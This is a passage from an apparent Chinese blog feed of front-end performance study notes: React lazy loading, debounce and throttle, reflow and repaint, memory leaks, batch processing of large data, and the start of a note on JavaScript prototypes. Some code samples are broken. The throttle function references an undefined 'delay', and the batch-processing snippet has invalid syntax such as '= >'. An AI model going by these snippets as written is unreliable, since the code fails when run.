<li><a href="https://juejin.cn/post/7113803250037424158"  target="_blank" rel="noopener" >看懂 Lighthouse 中 Performance 核心指标简介 </a></li>
<li><a href="https://juejin.cn/post/6916527678807867400"  target="_blank" rel="noopener" >前端性能指标：白屏和首屏时间的计算 - 掘金</a></li>
<li><a href="https://web.dev/articles/defining-core-web-vitals-thresholds?hl=en"  target="_blank" rel="noopener" >How the Core Web Vitals metrics thresholds were defined  |  Articles  |  web.dev</a></li>
</ul>
<hr>
<h2 id="首屏优化">首屏优化</h2>
<ul>
<li>参考
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=Mzk0OTUwMzI0MQ==&amp;mid=2247484027&amp;idx=1&amp;sn=b5511e51f68617032f8d87ee7b4dd38e&amp;chksm=c356161df4219f0bb6666b7188cb02c0421bbfaeff6b6195fbc94fa996fb5affbfc8eea886d8"  target="_blank" rel="noopener" >[前端进阶] 首屏优化知识梳理</a></li>
<li><a href="https://juejin.cn/post/7337631207025639463"  target="_blank" rel="noopener" >首屏加载时间优化的几种解决方案🙋🏿🙋🏿🙋🏿 - 掘金</a></li>
<li><a href="https://alienzhou.github.io/fe-performance-journey/5-subresources/image.html#_1-%E4%BC%98%E5%8C%96%E8%AF%B7%E6%B1%82%E6%95%B0"  target="_blank" rel="noopener" >图片 | 前端性能优化</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="滚屏性能优化">滚屏性能优化</h2>
<ul>
<li>将<code>touchstart</code>和<code>touchmove</code>事件的<code>passive</code>选项设置为ture
<ul>
<li>原理: <code>touchstart</code>和<code>touchmove</code>是<code>cancelable</code>的。事件处理程序中可能会调用<code>preventDefault()</code>，所以需要等待事件处理程序结束再滚动。</li>
<li>注: 大部分浏览器（Safari 和 Internet Explorer 除外）将文档级节点 Window、Document 和 Document.body 上的 wheel、mousewheel、touchstart 和 touchmove 事件的 passive 默认值更改为 true。</li>
</ul>
</li>
<li>参考:
<ul>
<li><a href="https://www.cnblogs.com/mengfangui/p/11322590.html"  target="_blank" rel="noopener" >滚动事件优化 passive - 孟繁贵 - 博客园</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="react性能优化">React性能优化</h2>
<ol>
<li>map循环展示添加key</li>
<li>路由懒加载</li>
<li>第三方依赖按需引入</li>
<li>使用memo或者pureComponent避免不必要的渲染</li>
<li>合理使用useMemo、memo、useCallback</li>
</ol>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6935584878071119885"  target="_blank" rel="noopener" >React 性能优化 | 包括原理、技巧、Demo、工具使用⁣React 的工作流 - 掘金</a></li>
<li><a href="https://blogweb.cn/article/2213713866013#heading-48"  target="_blank" rel="noopener" >当面试官问我前端可以做的性能优化有哪些-网络日志</a></li>
<li><a href="https://weekly.shanyue.tech/week-32/"  target="_blank" rel="noopener" >React 应用中的性能优化 | 前端开发者技术周刊</a></li>
<li><a href="https://fe.azhubaby.com/React/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.html"  target="_blank" rel="noopener" >React 性能优化 | 五年前端三年面试</a></li>
<li><a href="https://mp.weixin.qq.com/s/hJrOViqtEpWc2g1rwMAxwg"  target="_blank" rel="noopener" >React 性能优化十大总结</a></li>
</ul>
<hr>
<h2 id="懒加载与按需加载">懒加载与按需加载</h2>
<h3 id="懒加载">懒加载</h3>
<ul>
<li>概念: 可以按照路由对产物进行分割</li>
<li>实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">lazy</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MarkdownPreview</span> <span class="o">=</span> <span class="nx">lazy</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="kr">import</span><span class="p">(</span><span class="s1">&#39;./MarkdownPreview.js&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">Suspense</span> <span class="nx">fallback</span><span class="o">=</span><span class="p">{</span><span class="o">&lt;</span><span class="nx">Loading</span> <span class="o">/&gt;</span><span class="p">}</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="nx">h2</span><span class="o">&gt;</span><span class="nx">Preview</span><span class="o">&lt;</span><span class="err">/h2&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="nx">MarkdownPreview</span> <span class="o">/&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/Suspense&gt;</span>
</span></span></code></pre></div></li>
<li>代码二次分割:
<ul>
<li>可以将那些在非首页才用到的依赖是不是可以单独分割为一个chunk，这样的话可以进一步减少<code>index-[hash].js</code>的体积</li>
<li>需要配合路由懒加载才能达到效果，否则即使代码进行了分割，但加载首屏还是会因为路由提前注册的原因，使得浏览器加载所有资源。</li>
</ul>
</li>
<li>缺点:
<ul>
<li>优化也有成本，比如文本中虽然通过代码分割+路由懒加载减少了首屏资源体积，但随之也带来了资源请求数增加的问题，对浏览器的并发请求带来了压力。</li>
</ul>
</li>
</ul>
<h3 id="按需加载">按需加载</h3>
<ul>
<li>按需加载是为了减少依赖产物体积过大的问题，典型的如 lodash、echarts、arco-design，整个包存在很多方法、组件，而在项目实际使用到的其实只有一部分。在构建时进行按需加载，可以有效减小最终产物体积。</li>
<li>示例:
<ul>
<li><a href="https://github.com/mattiasw/ExifReader?tab=readme-ov-file#configure-a-custom-build"  target="_blank" rel="noopener" >mattiasw/ExifReader: A JavaScript Exif info parser.</a>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl">  <span class="s2">&#34;exifreader&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;include&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;webp&#34;</span><span class="p">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exclude&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;xmp&#34;</span><span class="p">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7268183236738793513"  target="_blank" rel="noopener" >React+Vite技术栈下首屏资源优化前言 最近小组做的H5应用需要通过iframe嵌入到第三方站点里，为了提高首屏速 - 掘金</a></li>
<li><a href="https://zh-hans.react.dev/reference/react/lazy"  target="_blank" rel="noopener" >lazy – React 中文文档</a></li>
</ul>
<hr>
<h2 id="虚拟滚动">虚拟滚动</h2>
<h3 id="定义">定义</h3>
<ul>
<li>浏览器视口固定，内容响应用户鼠标滚动</li>
</ul>
<h3 id="使用场景">使用场景</h3>
<ul>
<li>炫酷的滚动交互</li>
<li>无限循环列表滚动</li>
<li>关注控制滚动体验（灵敏度、惯性等）</li>
</ul>
<h3 id="如何优化解决虚拟滚动中滚速过快情况下的白屏问题">如何优化解决虚拟滚动中滚速过快情况下的白屏问题</h3>
<p>wip</p>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://kind-armchair-5a5.notion.site/2689c93449674729973f2e835766d294"  target="_blank" rel="noopener" >虚拟滚动</a></li>
<li><a href="https://juejin.cn/post/6844904183582162957"  target="_blank" rel="noopener" >新手也能看懂的虚拟滚动实现 - 掘金</a></li>
</ul>
<hr>
<h2 id="防抖和节流">防抖和节流</h2>
<h3 id="防抖">防抖</h3>
<ul>
<li>在触发频率高的事件中,执行耗费性能的操作,连续操作后只有最后一次生效
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//自己实现debounce
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">debounce</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span><span class="nx">wait</span><span class="o">=</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">timeId</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span> <span class="c1">//为什么不在内部声明id?因为我如果在内部声明,每一次触发事件就会有一个新的变量产生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">self</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">timeId</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">clearTimeout</span><span class="p">(</span><span class="nx">timeId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">timeId</span><span class="o">=</span><span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">func</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">self</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span><span class="nx">wait</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="节流">节流</h3>
<ul>
<li>在触发频率高的事件中,执行耗费性能操作,连续触发,单位时间内只有一次生效
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">throttle</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span><span class="nx">wait</span><span class="o">=</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">timeId</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">self</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">timeId</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">func</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">self</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="nx">timeId</span> <span class="o">=</span> <span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">timeId</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span><span class="nx">delay</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://kettanaito.com/blog/debounce-vs-throttle"  target="_blank" rel="noopener" >Debounce vs Throttle: Definitive Visual Guide - kettanaito.com</a></li>
<li><a href="https://www.npmjs.com/package/throttle-debounce?activeTab=code"  target="_blank" rel="noopener" >throttle-debounce - npm</a></li>
</ul>
<hr>
<h2 id="回流与重绘">回流与重绘</h2>
<h3 id="浏览器渲染过程">浏览器渲染过程</h3>
<ol>
<li>解析 HTML 和样式计算 (parsing and style calculation)</li>
<li>布局 (Layout)</li>
<li>绘制 (paint)</li>
<li>合成 (compositing)</li>
</ol>
<h3 id="回流">回流</h3>
<ul>
<li>reflow</li>
<li>网页渲染引擎根据元素的<strong>尺寸、位置和显示属性</strong>来重新计算页面的排版和布局，是网页渲染过程中的一个重要步骤。</li>
<li>当一个元素的长与宽改变，可能会影响到画面中其他元素的编排，所以每当有一个元素的布局改变，浏览器的 CPU 需要重新计算整个页面中不同元素的长宽、间距等。在计算的期间，会没办法处理其他任务 (例如使用者在点击按钮，可能会要等一阵子才有回应，因为浏览器无暇处理)。</li>
</ul>
<h3 id="重绘">重绘</h3>
<ul>
<li>repaint</li>
<li>指网页渲染引擎根据<strong>显示属性</strong> (如颜色、文字大小等) 重新绘制页面元素，不影响元素的位置和尺寸</li>
<li>不会影响页面布局，但是也会影响页面的性能</li>
</ul>
<h2 id="减少回流和重绘">减少回流和重绘</h2>
<ol>
<li>移动调整元素时，使用<code>transform</code></li>
<li>使用<code>opacity</code>来改变元素的能见度</li>
<li>避免频繁用 JavaScript 操作 DOM 节点</li>
</ol>
<h3 id="参考-6">参考</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hans/swe/repaint-and-reflow"  target="_blank" rel="noopener" >回流 (Reflow) 和重绘 (Repaint) 是什么？以及如何优化？｜ExplainThis</a></li>
</ul>
<hr>
<h2 id="内存泄漏">内存泄漏</h2>
<h3 id="定义-1">定义</h3>
<ul>
<li>内存泄漏可以定义为程序不再使用或不需要的一块内存，但是由于某种原因没有被释放仍然被不必要的占有。</li>
</ul>
<h3 id="垃圾回收算法">垃圾回收算法</h3>
<ul>
<li>引用计数: 如果没有引用指向该对象（零引用），对象将被垃圾回收机制回收。
<ul>
<li>缺点: 循环引用</li>
</ul>
</li>
<li>标记清除
<ul>
<li>过程
<ol>
<li>垃圾回收器创建了一个“roots”列表。Roots通常是代码中全局变量的引用。JavaScript中，“window”对象是一个全局变量，被当作root。window对象总是存在，因此垃圾回收器可以检查它和它的所有子对象是否存在（即不是垃圾）；</li>
<li>所有的 roots被检查和标记为激活（即不是垃圾）。所有的子对象也被递归地检查。从root开始的所有对象如果是可达的，它就不被当作垃圾。</li>
<li>所有未被标记的内存会被当做垃圾，收集器现在可以释放内存，归还给操作系统了。</li>
</ol>
</li>
<li>缺点: 算法运行时程序执行被暂停。</li>
</ul>
</li>
</ul>
<h3 id="常见的内存泄漏">常见的内存泄漏</h3>
<ol>
<li>全局变量</li>
<li>被遗忘的定时器和回调函数</li>
<li>DOM引用</li>
<li>错误使用的闭包</li>
</ol>
<h3 id="排查">排查</h3>
<ul>
<li>启用<code>use strict</code></li>
<li>浏览器开发者工具，内存选项</li>
</ul>
<h3 id="参考-7">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6844903917986267143"  target="_blank" rel="noopener" >彻底掌握js内存泄漏以及如何避免前言：内存泄漏写任何语言都必须得注意的问题，我司技术老大日常吐槽:以前做游戏的改内存泄漏 - 掘金</a></li>
<li><a href="https://github.com/pro-collection/interview-question/issues/76"  target="_blank" rel="noopener" >JS 内存泄露问题该如何排查？ · Issue #76 · pro-collection/interview-question</a></li>
<li><a href="https://czkm.github.io/2022/06/13/JS%E7%9A%84%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F/"  target="_blank" rel="noopener" >JS的垃圾回收与内存泄漏 - 橙汁坤的博客 | czkm Blog</a></li>
</ul>
<h2 id="前端监控系统">前端监控系统</h2>
<p>wip</p>
<h3 id="白屏检测">白屏检测</h3>
<ul>
<li><a href="https://juejin.cn/post/7176206226903007292"  target="_blank" rel="noopener" >前端白屏的检测方案，让你知道自己的页面白了页面白屏，绝对是让前端开发者最为胆寒的事情，特别是随着 SPA 项目的盛行，前 - 掘金</a></li>
</ul>
<h3 id="参考-8">参考</h3>
<ul>
<li><a href="https://cloud.tencent.com/developer/article/1983779"  target="_blank" rel="noopener" >目前为止整理最全的前端监控体系搭建篇(长文预警)-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://sentry.io/welcome/"  target="_blank" rel="noopener" >Application Performance Monitoring &amp; Error Tracking Software | Sentry</a></li>
<li><a href="https://godbasin.github.io/2024/01/21/front-end-performance-no-response-solution/"  target="_blank" rel="noopener" >前端性能优化&ndash;卡顿的监控和定位 | Here. There.</a></li>
<li><a href="https://juejin.cn/post/7247770501324996664"  target="_blank" rel="noopener" >不可不知的前端工程化—— 埋点&amp;监控 - 掘金</a></li>
</ul>
<hr>
<h2 id="场景题">场景题</h2>
<h3 id="线上的某个页面加载慢如何优化">线上的某个页面加载慢，如何优化</h3>
<p>wip</p>
<h3 id="场景题-针对大批量的数据的优化">场景题: 针对大批量的数据的优化</h3>
<ul>
<li>问题: 如果data数据很大，可能导致内存溢出和Minor GC阻塞渲染进程的问题。垃圾回收过程会占用主线程资源，导致渲染进程被阻塞。</li>
<li>思想:
<ul>
<li>将数据分成多个较小的批次进行处理，而不是一次性处理整个数据集。这可以通过使用<code>setTimeout</code>或 <code>requestAnimationFrame</code>来分批处理数据。循环处理每个批次的数据，并在处理完一个批次后延迟一小段时间处理下一个批次.比如可以将数据分成每批100条，每批处理完后延迟10毫秒，以避免阻塞主线程。</li>
<li>processBatch函数用于处理一批数据。它会根据当前的currentIndex从keys数组中选择一批数据进行处理，并将结果存入arr数组。然后，currentIndex增加，检查是否还有剩余数据需要处理。如果还有剩余数据，则通过requestAnimationFrame调度下一个异步任务来处理下一批数据。如果所有数据处理完成，则进行后续操作。</li>
<li>使用递归调用和requestAnimationFrame可以确保数据处理过程在异步任务中进行,在每一帧中调用 processBatch 函数，给渲染进程更多的时间进行渲染</li>
<li>一旦处理完所有数据，调用 finishProcessing 函数,并进行视图更新</li>
</ul>
</li>
<li>代码:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">processTreeData</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">keys</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">batchSize</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span> <span class="c1">// 每批处理的数据量
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kd">let</span> <span class="nx">currentIndex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">processBatch</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">batchKeys</span> <span class="o">=</span> <span class="nx">keys</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">currentIndex</span><span class="p">,</span> <span class="nx">currentIndex</span> <span class="o">+</span> <span class="nx">batchSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">batchItems</span> <span class="o">=</span> <span class="nx">batchKeys</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">key</span><span class="p">)</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">tableData</span> <span class="o">=</span> <span class="nx">data</span><span class="p">[</span><span class="nx">key</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">parentId</span> <span class="o">=</span> <span class="sb">`$ {key}. * `</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">childItems</span> <span class="o">=</span> <span class="nx">tableData</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">)</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">               <span class="nx">id</span><span class="o">:</span> <span class="sb">`$ {key}.$ {item}`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="nx">label</span><span class="o">:</span> <span class="sb">`$ {key}.$ {item}`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="nx">parent</span><span class="o">:</span> <span class="nx">parentId</span>
</span></span><span class="line"><span class="cl">            <span class="p">}));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="p">[{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">id</span><span class="o">:</span> <span class="nx">parentId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nx">label</span><span class="o">:</span> <span class="nx">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nx">children</span><span class="o">:</span> <span class="nx">childItems</span>
</span></span><span class="line"><span class="cl">            <span class="p">}];</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">arr</span><span class="p">.</span><span class="nx">push</span><span class="p">(...</span><span class="nx">batchItems</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">currentIndex</span> <span class="o">+=</span> <span class="nx">batchSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">currentIndex</span> <span class="o">&lt;</span> <span class="nx">keys</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">processBatch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">this</span><span class="p">.</span><span class="nx">finishProcessing</span><span class="p">(</span><span class="nx">arr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">processBatch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">finishProcessing</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="c1">//finish operate
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">},</span>
</span></span></code></pre></div><ul>
<li>好处:
<ul>
<li>如果一项任务执行花费的时间过长，浏览器将无法执行其他任务，例如处理用户事件。这样就会让用户觉得卡顿</li>
<li>可以显示进度指示</li>
</ul>
</li>
<li>思路二:
<ul>
<li>对于不应该阻塞事件循环的耗时长的繁重计算任务，我们可以使用 Web Workers。</li>
<li>Web Workers 可以与主线程交换消息，但是它们具有自己的变量和事件循环。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://czkm.github.io/2023/11/13/%E5%BC%80%E6%BA%90%E7%BB%84%E4%BB%B6%E7%9A%84%E5%AE%9A%E5%88%B6%E5%8C%96%E4%BF%AE%E6%94%B9%E5%8F%8A%E4%BC%98%E5%8C%96%E8%BF%87%E7%A8%8B%E8%AE%B0%E5%BD%95/"  target="_blank" rel="noopener" >开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog</a></li>
</ul>
</li>
</ul>
<h3 id="项目中的分片上传如何实现的">项目中的分片上传，如何实现的？</h3>
<p>wip</p>
<h3 id="怎么做到组件的按需引入">怎么做到组件的按需引入</h3>
<ul>
<li>treeshaking</li>
</ul>
<h3 id="优化图片加载闪烁">优化图片加载闪烁</h3>
<ul>
<li>参考: <a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之原型</title>
      <link>https://euds.org/2024/javascript_points_of_protype/</link>
      <pubDate>Mon, 30 Sep 2024 22:56:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_protype/</guid>
      <description>自己学习过程中整理的关于JavaScript中原型的知识点</description>
      <content:encoded><![CDATA[<h2 id="proto">proto</h2>
<h3 id="概念">概念</h3>
<ul>
<li><code>__proto__</code> 是<strong>每个JavaScript对象都具有</strong>的一个属性，它指向该对象的原型（prototype）。原型链的实现就是通过 <code>__proto__</code> 实现的。</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>当访问对象的属性或方法时，如果对象本身没有定义，JavaScript 就会沿着原型链（通过 <code>__proto__</code>）向上查找，直到找到匹配的属性或方法或者到达原型链的顶端（Object.prototype）为止。</li>
</ul>
<h3 id="慎用">慎用</h3>
<ul>
<li><code>__proto__</code> 是<code>[[Prototype]]</code>的因历史原因而留下来的 getter/setter</li>
<li>尽管 <code>__proto__</code> 在历史上被广泛使用，但它在 ECMAScript 6 中被标记为过时</li>
<li>推荐使用 <code>Object.getPrototypeOf()</code> 和 <code>Object.setPrototypeOf()</code> 来访问和设置对象的原型。</li>
</ul>
<hr>
<h2 id="prototype">prototype</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li><code>.prototype</code> 是<strong>函数对象特有</strong>的属性。每个函数对象都有一个<code>.prototype</code>属性，它指向一个对象。这个对象被称为该函数的原型对象。</li>
<li>当使用 <code>new</code> 操作符来创建一个实例时，JavaScript 会将实例的<code>[[Prototype]]</code>属性指向该函数的<code>.prototype</code>所指向的对象，从而实现原型继承。</li>
<li>默认的 &ldquo;prototype&rdquo; 是一个只有属性 constructor 的对象，属性 constructor 指向函数自身。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Rabbit</span><span class="p">()</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/* 默认的 prototype
</span></span></span><span class="line"><span class="cl"><span class="cm">Rabbit.prototype = { constructor: Rabbit };
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="作用-1">作用</h3>
<ul>
<li><code>.prototype</code> 属性主要用于定义构造函数的原型对象，它包含了实例共享的方法和属性。</li>
<li>通过在构造函数的 <code>.prototype</code> 对象上添加属性和方法，可以让所有通过该构造函数创建的实例共享这些属性和方法。</li>
<li>F.prototype 属性仅在 new F 被调用时使用，如果在创建之后，F.prototype 属性有了变化（<code>F.prototype = &lt;another object&gt;</code>），那么通过<code>new F</code>创建的新对象也将随之拥有新的对象作为<code>[[Prototype]]</code>，但已经存在的对象将保持旧有的值。</li>
</ul>
<h3 id="示例">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">a</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">a</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">a</span><span class="p">();</span> <span class="c1">//创建一个新的实例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span> <span class="c1">//2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">a</span><span class="p">();</span>
